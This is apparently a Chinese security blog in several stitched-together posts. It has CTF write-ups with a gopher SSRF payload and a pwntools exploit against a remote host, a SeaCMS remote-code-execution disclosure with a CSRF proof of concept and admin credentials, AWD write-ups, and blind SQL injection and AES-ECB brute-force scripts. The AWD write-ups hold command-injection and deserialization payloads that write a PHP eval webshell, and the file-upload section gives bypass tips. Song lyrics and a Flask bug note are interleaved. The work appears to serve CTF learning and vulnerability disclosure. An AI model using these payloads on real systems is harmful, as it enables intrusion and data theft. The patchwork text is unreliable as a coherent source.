gopher://127.0.0.1:3306/_%A8%00%00%01%85%A6%FF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00mysql_native_password%00f%03_os%05Linux%0C_client_name%08libmysql%04_pid%0519500%0F_client_version%065.7.22%09_platform%06x86_64%0Cprogram_name%05mysql%21%00%00%00%03select%20%40%40version_comment%20limit%201%12%00%00%00%03SELECT%20DATABASE%28%29%05%00%00%00%02ssrf%0F%00%00%00%03show%20databases%0C%00%00%00%03show%20tables%06%00%00%00%04flag%00%13%00%00%00%03select%20%2A%20from%20flag%01%00%00%00%01

最后可以在回显中获取flag

NNService

题目地址

先扫描查看是否存在源码泄露,发现存在robots.txt,提示存在源码bk/bk.zip,访问即可获取题目的源码。
这里我们主要分析题目最后导致getflag的两个点,在index.controller.php中,首先分析更改个人信息的位置上传头像的点:

           if($_FILES['avatar'] and $_FILES["avatar"]["error"] == 0){
                if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg") or ($_FILES["avatar"]["type"] == "image/png")) and $_FILES['avatar']['size']<65535){
                    $info=getimagesize($_FILES['avatar']['tmp_name']);
                    if(@is_array($info) and array_key_exists('mime',$info)){
                        $type=explode('/',$info['mime'])[1];
                        $filepath=$this->user->getuser().".".$type;
                        $filename="uploads/".$filepath;
                        if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
                            $this->user->edit("avatar",array($filepath,$type));
                            if(strpos($filepath,"..") !== false)
                            {
                                die("Hacker, cut please!");
                            }
                            else if(move_uploaded_file($_FILES['avatar']['tmp_name'], $filename)){
                                quit_and_refresh('Upload success!','edit');
                            }
                            quit_and_refresh('Success!','edit');
                        }
                    }else {
                        //TODO!report it!
                        quit('Only allow gif/jpeg/png files smaller than 64kb!');
                    }
                }
                else{
                    //TODO!report it!
                    quit('Only allow gif/jpeg/png files smaller than 64kb!');
                }
            }

分析代码流程,首先判断图片的mime类型,然后使用getimagesize获取图片的信息,之后从getimagesize获取到的图片信息中获取图片的后缀名,之后可以看到$filepath=$this->user->getuser().".".$type;,将用户名与图片名称拼接为图片上传路径,后调用$this->user->edit("avatar",array($filepath,$type));,跟到user.class.php文件中可以发现这一步的操作实质是将文件名写入了数据库中。之后使用强等于判断文件名中是否含有..,如果含有..则终止整个流程,否则将移动上传的图片到upload文件夹下,命名为用户名.文件类型;
然后我们再分析export处的源码:

public function export(){
        $avatar=$this->user->getavatar();
        if(substr($avatar,0,5)!=="data:"){
            $fileavatar=substr($this->user->getavatar(),1);
            $avatar = "uploads/".$fileavatar;


            if(file_exists($avatar) and filesize($avatar)<65535 and strpos($fileavatar,"..")==false){
                $data=file_get_contents($avatar);
                if(!$this->user->updateavatar($data)) quit('Something error!');
            }
            else{
                //TODO!report it!
                $out="Your avatar is invalid, so we reported it"."</p>";
                include("templates/error.html");
                die("<br>");
            }
        }
        $article=$this->user->getarticle();
        $data="";
        for($i=0;$i<count($article);$i++){
            if($i!=count($article)-1){
                $data.=$article[$i][2]."rn";
                $data.=$article[$i][3]."n";
                $data.="----------n";
            }
            else{
                $data.=$article[$i][2]."rn";
                $data.=$article[$i][3]."n";
            }
        }
        $data.="==========n";
        $avatar=$this->user->getavatar(1);
        $data.=base64_encode($avatar[1])."n";
        $data.=$avatar[3];
        header("Content-type: application/octet-stream");
        header("Content-Transfer-Encoding: binary");
        header("Accept-Ranges: bytes");
        header("Content-Length: ".strlen($data));
        header("Content-Disposition: attachment; filename="".$this->user->getuser().""");
        echo $data;
}

可以看到export处的代码在进行导出时,首先调用$avatar=$this->user->getavatar();获取头像的信息,我们跟到user.class.php中可以发现这一步操作便是将我们之前写入数据库的文件名取出。然后这里的代码对文件进行判断,判断文件是否存在,文件大小是否小于65535,以及使用弱等于判断文件名中是否含有..。之后便获取文件内容并base64加密后拼接上之前的一些信息输出文件。
这里我们可以看到主要的漏洞点在于写入数据库的操作在判断文件名是否包含..之前,因此我们即使文件名中包含了..最后不合法的文件名也会被写入数据库。而在之后export处读取到文件名后使用的是弱等于判断:

strpos($fileavatar,"..")==false

然而当我们构造类似../flag.php的字符串时,strpos返回..出现的位置0,而0==false成立。因此我们便可以成功实现目录穿越。
但是这里还有一点:我们的文件名的生成方式是用户名.文件类型,文件类型由getimagesize()函数获得,因此只能是图片文件的后缀名,那么怎样才能截断这个后缀名从而成功获取flag.php的源码?
这里我们查看之前下载到的源码中的sql文件:

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(32) primary key auto_increment,
  `username` varchar(100) UNIQUE KEY,
  `nickname` varchar(100) UNIQUE KEY,
  `password` varchar(32),
  `email` varchar(100) UNIQUE KEY
);

CREATE TABLE IF NOT EXISTS `articles` (
  `id` int(32) primary key auto_increment,
  `user_id` int(32),
  `title` varchar(100),
  `content` varchar(500)
);

CREATE TABLE IF NOT EXISTS `avatar` (
    `id` int(32) primary key auto_increment,
    `data` blob,
    `user_id` int(32) UNIQUE KEY,
    `filepath` varchar(100),
    `photo_type` varchar(20)
);

可以看到这里的sql文件中限制了图片路径filepath字段的长度最多为100,用户名username的长度也最多为100。这里便可以联想到mysql的一个性质:当mysql开启宽松模式时,在INSERT的时候,如果你插入的字符超出了MySQL的字段长度,MySQL会自动截断到最大长度然后插入,并不会出错。,具体可以参考这篇文章:http://www.91ri.org/5963.html
因此我们如果注册长度为100的用户名,在将文件名写入数据库时,用户名之后拼接的后缀便会被截断从而无法进入数据库,因此便实现了我们对文件的控制。
最后解题的方法为:

  • 注册用户名:../////////////////////////////////////////////////////////////////
    • ////////////////////////flag.php
  • edit处随意上传一张图片
  • export处导出数据,便可获得flag。

总结

这场比赛整体难度适中,比较适合新手用于提高自己的水平。此外比赛源码已经上传到https://github.com/susers/Writeups上,欢迎大家star与pull request!

参考资料

backend RCE in the latest version of SeaCMS(v6.61)

In SeaCMS’s admin platform, just in the page of publishing movies,due to the low limitation of the code injected in the picture’s url,we can execute random code to getshell.though there are some way’s in the /include/main.class to limit the usage of the code,we can find ways to bypass it.
So How does this vul be triggerd? here are some Steps:
* Firstly login to the admin panel, in this case the admin directory is adjusted to /backend.

* Secondly add a movie and set it’s pictrue address as {if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}

* After adding it visit /details/index.php?1.html&m=admin&a=assert&b=phpinfo();you can find phpinfo() is executed.
here 1.html refers to the id of the video you have just added.In my case, the video’s id is 2 so I executed as 2.html.

* Or you can just visit /search.php?searchtype=5&tid=0&a=assert&b=phpinfo();or any other places that display the video’s pic you have just added.

Also in the adding movie page it has no csrf protection so we can use CSRF to attacked it.
csrf poc is here:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
  <!-- adjust action to your url -->
    <form action="http://127.0.0.1/seacms/backend/admin_video.php?action=save&acttype=add" method="POST">
      <input type="hidden" name="v_commend" value="0" />
      <input type="hidden" name="v_name" value="getshell" />
      <input type="hidden" name="v_enname" value="ceshi" />
      <input type="hidden" name="v_color" value="#FF0000" />
      <input type="hidden" name="v_type" value="5" />
      <input type="hidden" name="v_state" value="5" />
      <input type="hidden" name="v_pic" value="{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}" />
      <input type="hidden" name="v_spic" value="" />
      <input type="hidden" name="v_gpic" value="" />
      <input type="hidden" name="v_actor" value="" />
      <input type="hidden" name="v_director" value="" />
      <input type="hidden" name="v_commend" value="0" />
      <input type="hidden" name="v_note" value="" />
      <input type="hidden" name="v_tags" value="" />
      <input type="hidden" name="select3" value="" />
      <input type="hidden" name="v_publishyear" value="" />
      <input type="hidden" name="select2" value="" />
      <input type="hidden" name="v_lang" value="" />
      <input type="hidden" name="select1" value="" />
      <input type="hidden" name="v_publisharea" value="" />
      <input type="hidden" name="select4" value="" />
      <input type="hidden" name="v_ver" value="" />
      <input type="hidden" name="v_hit" value="0" />
      <input type="hidden" name="v_monthhit" value="0" />
      <input type="hidden" name="v_weekhit" value="0" />
      <input type="hidden" name="v_dayhit" value="0" />
      <input type="hidden" name="v_len" value="" />
      <input type="hidden" name="v_total" value="" />
      <input type="hidden" name="v_nickname" value="" />
      <input type="hidden" name="v_company" value="" />
      <input type="hidden" name="v_tvs" value="" />
      <input type="hidden" name="v_douban" value="" />
      <input type="hidden" name="v_mtime" value="" />
      <input type="hidden" name="v_imdb" value="" />
      <input type="hidden" name="v_score" value="" />
      <input type="hidden" name="v_scorenum" value="" />
      <input type="hidden" name="v_longtxt" value="" />
      <input type="hidden" name="v_money" value="0" />
      <input type="hidden" name="v_psd" value="" />
      <input type="hidden" name="v_playfrom[1]" value="" />
      <input type="hidden" name="v_playurl[1]" value="" />
      <input type="hidden" name="m_downfrom[1]" value="" />
      <input type="hidden" name="m_downurl[1]" value="" />
      <input type="hidden" name="v_content" value="" />
      <input type="hidden" name="Submit" value="�¡®�®š�浜¤" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

you can test this vul at http://111.230.11.248:10089/backend/,and the username and password is admin|admin.

昨天去打了打QCTF,水了3道web题目后便草草收场。表示这场比赛真的只是一场萌新赛吗。。。。由于队伍里面向来缺pwn手,所以便计划把这场比赛的pwn题目也做一下练练手,限于水平太菜也就做了个stack2这道题。

分析程序利用点

首先 checksec查看程序的保护情况
checksec
可以卡暗道开启了栈不可执行保护和CANARY。
先把程序拖到IDA里面然后F5大法好。。。得到main函数的伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

分析程序可以看出程序的逻辑大体是输入一堆数,然后可以求平均值,也可以添加数字,或者更改某一位。数字默认被存入一个数组中。其中在更改某一位数字的操作中可以看到并没有被传入的下标做检测,这就导致了我们可以在任意位置写入数据,从而更改掉main函数的返回地址从而实现getshell。而且这里存在一个hackhere函数:

int hackhere()
{
  return system("/bin/bash");
}

所以最初的尝试是将retaddr覆盖为hackhere函数的地址。

分析偏移量

这里分析偏移量采用了ida动态调试的方法,在main函数的retn处下断点。为了方便找到数组的地址,在调试时先输入4个数字1,2,3,4,然后在stack view中寻找数组的首地址。
执行到断点处stack view视图默认指向esp的位置,可以从而确定retaddr:
retaddr
这里的retaddr为0xffcd968c
向上寻找看是否存在某段内容为04030201,即可找到v13数组的首地址:
bufaddr
可以看到数组地址为0xffcd9608,数组相对retaddr的偏移位数为0xffcd968c-0xffcd9608=132,所以只要覆盖v13[132]至v13[135]即可。
确定hackhere的地址为0x0804859B,所以只需覆盖v13[132]至v13[135]为0x9b,0x85,0x04,0x08.
本地测试用这样的方法可成功getshell。

远程的问题

然而远程测试则提示bash not found.原来目标机器上并不存在bash。因此想要getshell就只能通过调用_system来实现最终的getshell。而这里的/bin/sh可以从/bin/bash中获得,即/bin/bash的倒数二位。
因此最后打通远端服务器的payload为:

from pwn import *

r = remote("47.96.239.28", '2333')
r.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8\n3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')
r.sendline('5')
r.interactive()

getshell

后记

对于pwn菜鸡来说一定要熟悉程序执行的原理才行,另外ida远程调试也是一个很好的办法,更加形象化。另外这里的ida是在wine下运行的portable版本,亲测没有什么大bug。
keep calm and carry on!

flask自定义decorator的坑点

在一次开发中需要做一个权限验证的修饰器,由于之前并没有太多的flask编程经验,没有写过这种修饰器,于是便直接写出了以下的代码:

def is_admin(func):
    def wrapper(*args,**kargs):
        if not session['is_admin']:
            return redirect('/admin/login')
        return func(args,kargs)
    return wrapper

写完后直接运行报错:

existing endpoint function: %s' % endpoint)
AssertionError: View function mapping is overwriting an existing endpoint function: admin.wrapper

一开始的时候百思不得其解,并不懂这个错误出现的原因。后来联系报错的提示为已经存在了一个注册过的函数admin.wrapper.
可以判断为,经过修饰器修饰后,当传入flask自己的修饰器后修饰器获取到的当前函数的名称为wrapper,所以所有被这个修饰器修饰过得函数传入flask的修饰器中获取到的函数名都是wrapper,因此产生了冲突从而报错。

查看报错的地方的源码,位于app.py中:

    def add_url_rule(self, rule, endpoint=None, view_func=None,
                     provide_automatic_options=None, **options):
        """Connects a URL rule.  Works exactly like the :meth:`route`
        decorator.  If a view_func is provided it will be registered with the
        endpoint.

        Basically this example::

            @app.route('/')
            def index():
                pass

        Is equivalent to the following::

            def index():
                pass
            app.add_url_rule('/', 'index', index)

        If the view_func is not provided you will need to connect the endpoint
        to a view function like so::

            app.view_functions['index'] = index

        Internally :meth:`route` invokes :meth:`add_url_rule` so if you want
        to customize the behavior via subclassing you only need to change
        this method.

        For more information refer to :ref:`url-route-registrations`.

        .. versionchanged:: 0.2
           `view_func` parameter added.

        .. versionchanged:: 0.6
           ``OPTIONS`` is added automatically as method.

        :param rule: the URL rule as string
        :param endpoint: the endpoint for the registered URL rule.  Flask
                         itself assumes the name of the view function as
                         endpoint
        :param view_func: the function to call when serving a request to the
                          provided endpoint
        :param provide_automatic_options: controls whether the ``OPTIONS``
            method should be added automatically. This can also be controlled
            by setting the ``view_func.provide_automatic_options = False``
            before adding the rule.
        :param options: the options to be forwarded to the underlying
                        :class:`~werkzeug.routing.Rule` object.  A change
                        to Werkzeug is handling of method options.  methods
                        is a list of methods this rule should be limited
                        to (``GET``, ``POST`` etc.).  By default a rule
                        just listens for ``GET`` (and implicitly ``HEAD``).
                        Starting with Flask 0.6, ``OPTIONS`` is implicitly
                        added and handled by the standard request handling.
        """
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)
        options['endpoint'] = endpoint
        methods = options.pop('methods', None)

        # if the methods are not given and the view_func object knows its
        # methods we can use that instead.  If neither exists, we go with
        # a tuple of only ``GET`` as default.
        if methods is None:
            methods = getattr(view_func, 'methods', None) or ('GET',)
        if isinstance(methods, string_types):
            raise TypeError('Allowed methods have to be iterables of strings, '
                            'for example: @app.route(..., methods=["POST"])')
        methods = set(item.upper() for item in methods)

        # Methods that should always be added
        required_methods = set(getattr(view_func, 'required_methods', ()))

        # starting with Flask 0.8 the view_func object can disable and
        # force-enable the automatic options handling.
        if provide_automatic_options is None:
            provide_automatic_options = getattr(view_func,
                'provide_automatic_options', None)

        if provide_automatic_options is None:
            if 'OPTIONS' not in methods:
                provide_automatic_options = True
                required_methods.add('OPTIONS')
            else:
                provide_automatic_options = False

        # Add the required methods now.
        methods |= required_methods

        rule = self.url_rule_class(rule, methods=methods, **options)
        rule.provide_automatic_options = provide_automatic_options

        self.url_map.add(rule)
        if view_func is not None:
            old_func = self.view_functions.get(endpoint)
            if old_func is not None and old_func != view_func:
                raise AssertionError('View function mapping is overwriting an '
                                     'existing endpoint function: %s' % endpoint)
            self.view_functions[endpoint] = view_func

这里的view_functions是一个dict,存储endpoint-view_func键值对。而endpoint是指一个标记各个url的一个字符串,通常为函数的名称。endpoint与不同的函数一一对应。
出错的原因在于相同的endpoint被指向了两次,且指向的函数不同,但是这两个不同的函数却拥有相同的名字__name__,因此便对应了相同的endpoint。所以便导致了重复出现的错误。

那么怎么解决这个问题?这里使用了一个叫做functools的库中定义的一个修饰器@functool.wraps.
更改后的代码为:

def is_admin(func):
    @functools.wraps(func)
    def wrapper(*args,**kargs):
        if not session['is_admin']:
            return redirect('/admin/login')
        return func(args,kargs)
    return wrapper

再次调试可以看到这次程序运行后对应的函数的name不同,从而没有再出现bug。再次调试可以发现最后的函数的name与对应的endpoint值均不同。

注:@functools.wraps(func)的作用就是保留原有函数的名称和docstring

参考

记录一次使用Flask开发过程中的bug

后记

经过这次拍错发现自己对flask的实现机制产生了浓厚的兴趣。。。。那就立个flag,今年要把flask的源码好好看一看,至少弄懂flask背后的设计原理。

红帽杯线下赛

上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底…最后才又勉强上了点儿分…..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章.

红帽杯线下赛web原题已同步到我社github上:https://github.com/susers/Writeups

web1

web1是一个wordpress的应用程序,可惜当时比赛刚开始时服务器上的权限设置并不能直接修复程序,所以就先去搞了web2.后来传了一个马上去才修复了一些权限的问题,其他的漏洞基本上是通过抓包来搞出来的….这里贴一些赛后看各路大佬writeup等感觉不错的漏洞点:

命令执行1 escapeshellcmd绕过

在/wp-login.php中:

case 'debug':
        $file = addslashes($_POST['file']);
        system("find /tmp -iname ".escapeshellcmd($file));
        break;

先看一下escapeshellcmd的说明:

escapeshellcmd

可以看到escapeshellcmd的主要功能是对可以截断shell命令的字符进行转义.

然而这里的语句倍拼接到了find命令下,而find命令有一个参数是exec参数,可移执行命令,因此我们这里便可以利用find命令的exec参数来bypass.

find exec参数执行的示例:

find1

然而这里报缺少参数,是因为-exec传入的指令需要有结束符,分号必不可少,且分号应该加上反斜杠防止歧义.

find2

这里看到命令被循环执行了,于是我们加上-quit只打印一次:

find3

因此利用这样的指令便可以读文件.poc为:

file=xxx -or -exec cat /flag ; quit

这里不加反斜杠是因为escapeshellcmd会给我们的参数自动加上反斜杠.

命令执行2

在wp-includes/class-wp-cachefile.php中:

<?php
class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:'
        && !preg_match('/O:\d:\/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        $file = $file ?? $this->cacheFile;
        $tpl = $tpl ?? $this->template;
        file_put_contents($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

new Template($_COOKIE['data']);

这里可以看到构造函数中调用了loadData来对传入的cookie值进行序列化,而loadData函数中对传入的参数进行了两个过滤:

  • substr($data,0,2)!==’O:’
    可以通过序列化一个数组,数组中的元素为类来绕过.
  • !preg_match(‘/O:\d:\/’, $data)
    可以通过正号来绕过匹配.

在template类中的析构函数中调用了createCache方法,createCache方法中可以任意写入文件.
因此构造payload的poc为:

<?php
class Template {
    public $cacheFile = './shell.php';
    public $template = '<?php eval($_REQUEST[test]);';
}
$t=array(1=>new Template());
print_r(serialize($t));

最后得到的符合条件的payload为:

a:1:{i:1;O:+8:"Template":2:{s:9:"cacheFile";s:11:"./shell.php";s:8:"template";s:28:"<?php eval($_REQUEST[test]);";}}

其他

求他的洞就大概都是一些主办方预留的shell之类的了…..

web2

web2是一个finecms,当时防护做得比较好所以没有出现太多的问题.

命令执行1 /finecms/dayrui/config/config.class.php

<?php


$config = unserialize(base64_decode($config));
if(isset($_GET['param'])){
    $config->$_GET['param'];
}
class FinecmsConfig{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
        }
    }
    public function SetFilter($value){

        if($this->filter){
            foreach($this->filter as $filter){


                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        $this->SetFilter($key);
        die("");
    }
}

这里可以看到调用$config->$_GET[param],如果$config是一个类且这个类不存在$_GET[param]这样一个属性就会调用__get()方法.

可以看到这里的FinecmsConfig类正好存在一个__get()方法.而在__get()方法中调用了SetFilter方法.
在SetFilter方法中调用了call_user_func方法,因此这里存在命令执行漏洞.

全局搜索引用了config.class.php文件的文件,可以找到在
./finecms/Init.php中存在引用,./finecms/Init.php中设置了$config变量:

if(isset($_COOKIE['FINECMS_CONFIG'])){
    $config = $_COOKIE['FINECMS_CONFIG'];
    require FCPATH.'dayrui/config/config.class.php';
}

可以看到这里$config的值被设置为$_COOKIE['FINECMS_CONFIG'];

因此我们可以得出最后的payload:

<?php 
class FinecmsConfig{
    private $config;
    private $path;
    public $filter=array('readfile');
}
$c = new FinecmsConfig();
print_r(base64_encode(serialize($c)));

得到cookie FINECMS_CONFIG的值:

TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6MTp7aTowO3M6ODoicmVhZGZpbGUiO319

GET参数设置为/flag即可获取flag.

命令执行2

finecms的一个1day
https://zhuanlan.zhihu.com/p/35133267
http://lu4n.com/finecms-rce-0day/

sql注入

梅子酒师傅之前挖到的一个sql注入的CVE:

Finecms SQL注入漏洞 [CVE-2018-6893]

其他

其他就是类似web1一样的小马之类的了…..

后记

开始打awd之后这次比赛又回到了第一次打awd的感觉….只能说还是太菜了…..
以后还是要多联系一下代码审计,真的佩服大佬们代码审计的能力.

另外题目中的漏洞点将会单独抽出来作为代码审计题目放到我校的CTF平台上供师傅们分析练习.

参考

你陪我步入蝉夏
越过城市喧嚣
歌声还在游走
你榴花般的双眸
不见你的温柔
丢失花间欢笑
岁月无法停留
流云的等候
我真的好想你
在每一个雨季
你选择遗忘的
是我最不舍的
纸短情长啊
道不尽太多涟漪
我的故事都是关于你呀
怎么会爱上了她
并决定跟她回家
放弃了我的所有我的一切无所谓
纸短情长啊
诉不完当时年少
我的故事还是关于你呀
你陪我步入蝉夏
越过城市喧嚣
歌声还在游走
你榴花般的双眸
不见你的温柔
丢失花间欢笑
岁月无法停留
流云的等候
我真的好想你
在每一个雨季
你选择遗忘的
是我最不舍的
纸短情长啊
道不尽太多涟漪
我的故事都是关于你呀
怎么会爱上了她
并决定跟她回家
放弃了我的所有我的一切无所谓
纸短情长啊
诉不完当时年少
我的故事还是关于你呀
我真的好想你
在每一个雨季
你选择遗忘的
是我最不舍的
纸短情长啊
道不尽太多涟漪
我的故事都是关于你呀
怎么会爱上了她
并决定跟她回家
放弃了我的所有我的一切无所谓
纸短情长啊
诉不完当时年少
我的故事还是关于你呀
我的故事还是关于你呀

防御文件上传的一些思路

  • 客户端javascript校验(通常校验扩展名)
  • 检查文件扩展名
  • 检查MIME类型
  • 随机文件名
  • 隐藏路径
  • 重写内容(影响效率)imagecreatefromjpeg…
  • 检查内容是否合法

绕过技巧

  • $_FILES[‘file’][‘type’]:burp抓包可修改
  • 内容检查:
    • <script language=“php”></script>
  • 文件名拓展检查:黑名单绕过
    ○ Php3 php5 phtml PPHP pHp phtm inc
    ○ Jsp jspx jspf
    ○ Asp asa cer aspx
    ○ Exe exee
    ○ 后缀名加空格
    ○ 00截断
    ○ 双重后缀名绕过
  • 常配合文件包含漏洞达到特殊效果
  • 通过比较gd函数处理前后的文件找到不产生变化的区块写入特殊的payloadhttp://www.freebuf.com/articles/web/54086.html
  • phpinfo+lfi
  • htaccess攻击
    • AddType application/x-httpd-php .jpg
<FilesMatch "95zz.gif">
SetHandler application/x-httpd-php
</FilesMatch>
  • opcache文件getshell(利用phpinfo获得缓存目录后上传shell)https://www.exehack.net/3272.html
    • 如果内存缓存的优先级高于文件缓存,那么重写opcache文件并不会执行我们的webshell
    • 开启了validate_timestamp的绕过:
      • WordPress某些文件时间戳一样
    • opcache-override
  • 文件头检测方法:将木马后缀到文件末(常见的是通过getimagesize()函数)
  • file_put_contents 数组绕过
  • 当代码中存在spl_autoload_register()函数时可以上传.inc文件(laravel、composer中常用)(湖湘杯)
    • spl_autoload_register()函数使用后将会自动调用inc文件
  • move_uploaded_file() 名称可控时可上传至任意位置,aaaa/../index.php/.绕过后缀名检测

  • 上传模板文件
  • 上传绕过 parse_url函数可以通过多个斜杠来绕过

Misc

签到题

公告

(╯°□°)╯︵ ┻━┻

将字符串base64解码后再凯撒移位即可获得flag.

第四扩展fs

binwalk 可从图片中获得一个压缩包,图片右击属性里面详细信息-备注可获得压缩包密码为Pactera,解压压缩包后获得一个文本文件,复制内容进行字频统计即可获得flag在线字词频率统计

misc2

流量分析

协议分级,看到有ftp协议、stmp协议,stmp协议中有一个base64后的图片,提取该图片并解码可以发现一串字符串,经题目提示可知为一个私钥文件,用ocr软件提取后并修改错误补全格式,wireshark中导入即可看到最后的部分解密出一个http封包,内容中可以获得flag。

私钥图片

capt

安全通信

利用aes_ecb分组加密的特点,而且generate_hello中的message长度可控,所以可以按位爆破flag.

poc:

import socket
mission_key="2acba569d223cf7d6e48dee88378288a"

begin=24

ans=""

while True:
    f=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    f.connect(("116.85.48.103",5002))
    print f.recv(1024)
    f.send(mission_key+"\n")
    print f.recv(1024)
    f.send('a'*begin+"\n")
    crypt=f.recv(1024)
    data=f.recv(1024)
    print crypt,data,begin,((len(ans)/16)+1)*32
    querystring='{}0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
    i=0
    while i<len(querystring):
        f.send(querystring[i]+ans+"\n")
        info=f.recv(1024).split()
        #print querystring[i]
        try:
            data=info[0]
        except:
            continue
        #print info,data,-(((len(ans)/32)+1)*32+1),crypt[-((len(ans)/32)+1)*32-1:-1]
        if(crypt[-((len(ans)/16)+1)*32-1:-1]==data):
            print "mark"
            ans=querystring[i]+ans
            print ans
            begin=begin+1
            break
        data=f.recv(1024)
        #print "[+]"+data
        i=i+1
    print "================data is {} end a loop".format(ans)

WEB

数据库的秘密

盲注,里面的js加密算法懒得看所以直接用nodejs编写盲注脚本,导入网页中引入的math.js用于加密,脚本如下:


var http=require('http'); var querystring=require('querystring'); var math=require('./math'); var cheerio=require("cheerio"); var key="adrefkfweodfsdpiru"; function signGenerate(obj, key) { var str0 = ''; for (var i in obj) { if (i != 'sign') { str1 = ''; str1 = i + '=' + obj[i]; str0 += str1 } } return math(str0 + key) }; var request=function(options,postData) { return new Promise((resolve)=> { var data=""; var req = http.request(options, function (res) { res.on("data", function (chunk) { data+=chunk.toString(); }); res.on("end", function () { //console.log("data emitted successfully"); resolve(data); }); //console.log(res.statusCode); }); req.on("error", function (err) { //console.log(err, message); }) req.write(postData); req.end(); }); } async function main(){ ans=''; ll=0; for(var i=1;i<128;i++){ for(var j=1;j<128;j++) { var obj = { id: '', title: 'ctf', author: "' and ascii(mid((select secvalue from ctf_key1)," + i + ",1))-" + j + "#", date: '', time: parseInt(new Date().getTime() / 1000) }; //console.log(obj.author); //console.log(obj); var sign = signGenerate(obj, key); var options = { hostname: '116.85.43.88', method: 'POST', port: 8080, path: '/PEQFGTUTQMZWCZGK/dfe3ia/index.php?' + querystring.stringify({'sig': sign, 'time': obj.time}), headers: { 'X-Forwarded-For': '123.232.23.245', 'Content-Type': 'application/x-www-form-urlencoded' } } var data = await request(options, querystring.stringify(obj)); //console.log(data);break; var $ = cheerio.load(data); if($('tr').length==0)console.log(data); //console.log($('tr').length); if ($('tr').length == 3){ ans = ans + String.fromCharCode(j);break} } console.log('[+]'+ans); if(j==128)break; } } main();

其中math.js即为网页中的math.js,最后一行添加:

module.exports=hex_math_enc;

web1

专属链接

文件包含漏洞,而且通过报错界面可获得类名称,因此可以获得.class文件,这里贴一下获得的一些比较重要的源码:

InitListener.java

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   InitListener.java

package com.didichuxing.ctf.listener;

import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.*;
import java.security.*;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.*;
import org.springframework.web.context.WebApplicationContext;

public class InitListener
